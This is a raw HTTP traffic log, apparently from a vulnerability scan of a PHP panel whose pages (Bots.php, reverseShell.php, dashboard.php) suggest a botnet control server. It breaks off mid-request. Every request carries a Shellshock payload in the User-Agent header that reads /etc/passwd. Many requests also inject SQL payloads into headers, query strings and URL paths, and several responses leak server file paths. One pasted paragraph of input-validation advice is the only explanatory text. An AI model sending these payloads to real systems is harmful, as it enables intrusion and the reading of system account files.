GET http://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW HTTP/1.1
host: /login.php
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 400 Bad Request
Date: Sun, 10 Mar 2024 22:11:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Content-Length: 325
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Server at localhost Port 80</address>
</body></html>

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use an allow list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny list). However, deny lists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."

For filenames, use stringent allow lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses, and exclude directory separators such as "/". Use an allow list of allowable file extensions.

Warning: if you attempt to cleanse your data, then do so that the end result is not in the form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and ';' which may be required for some exploits. An attacker can try to fool the sanitizing mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, then the file may be compromised.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allow list schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links.

Run your code using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by your software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

SQL injection may be possible.

GET http://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"" AND "1"="1" --
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=90
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin%
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:22:43 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54%22+AND+%221%22%3D%221 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:20 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=87
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"" AND "1"="1
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:35 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0' AND '1'='1' --
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:20:46 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document AND 1=1 --
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:51 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=63
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate AND 1=1
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:49 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=29
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/dashboard.php?id=56-2 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/login.php?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:19:59 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows" AND 1=1 --
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:24:11 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%20OR%201=1%20AND%201=1 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:47:08 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%20OR%201=1/Sound%20Effects HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:24:14 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%25'%20%20--%20/Sound%20Effects/error.wav HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:48:28 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi%25'%20%20--%20/Sound%20Effects/error.wav HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:25:19 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects%20ASC%20%20--%20/error.wav HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:12:23 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects%25 HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:24:56 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects/error.wav?query=query%22+OR+%221%22%3D%221%22+--+ HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
referer: http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/3jl1j?key=EWREWTRUTHEWUFIUEWJFEWJFWEIUFHE324325473524632EFJWIFJWOJFIEWJOFJOWEFYEWFYUWEUFTUYEWTFUYEWTFUYEWOWEKPFOPWEPFKW
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 23:08:23 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Content-Length: 542
Content-Type: text/html; charset=UTF-8

<br />
<b>Warning</b>: session_start(): open(C:\xampp\tmp\sess_5r32rc95v1dvpq7fg42trtf64n, O_RDWR) failed: Permission denied (13) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_start(): Failed to read session data: files (path: C:\xampp\tmp) in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>24</b><br />
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>C:\xampp\htdocs\TQUIA729JAULAMJS\login.php</b> on line <b>26</b><br />

GET http://142.202.242.172/TQUIA729JAULAMJS/login.php/327qi/Sound%20Effects?query=query%25%27++--+ HTTP/1.1
host: 142.202.242.172
User-Agent: () {:;}; /bin/cat /etc/passwd
pragma: no-cache
cache-control: no-cache
cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:46:31 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV%25%27++--+&value=%271%27%3D1%27&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:45:54 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" AND "1"="1" --
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:23:49 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=52
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"%
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://142.202.242.172/TQUIA729JAULAMJS/Bots.php?id=54
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=5r32rc95v1dvpq7fg42trtf64n

HTTP/1.1 404 Not Found
Date: Sun, 10 Mar 2024 22:21:24 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
X-Powered-By: PHP/8.2.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

GET http://142.202.242.172/TQUIA729JAULAMJS/reverseShell.php?bot=DESKTOP-95IQEEV&id=54 HTTP/1.1
host: 142.202.242.172
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"" OR "1"="1" --
Upgrade-Insecure-Requests: 1
User-Agent: () {:;}; /bin/cat /etc/passwd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
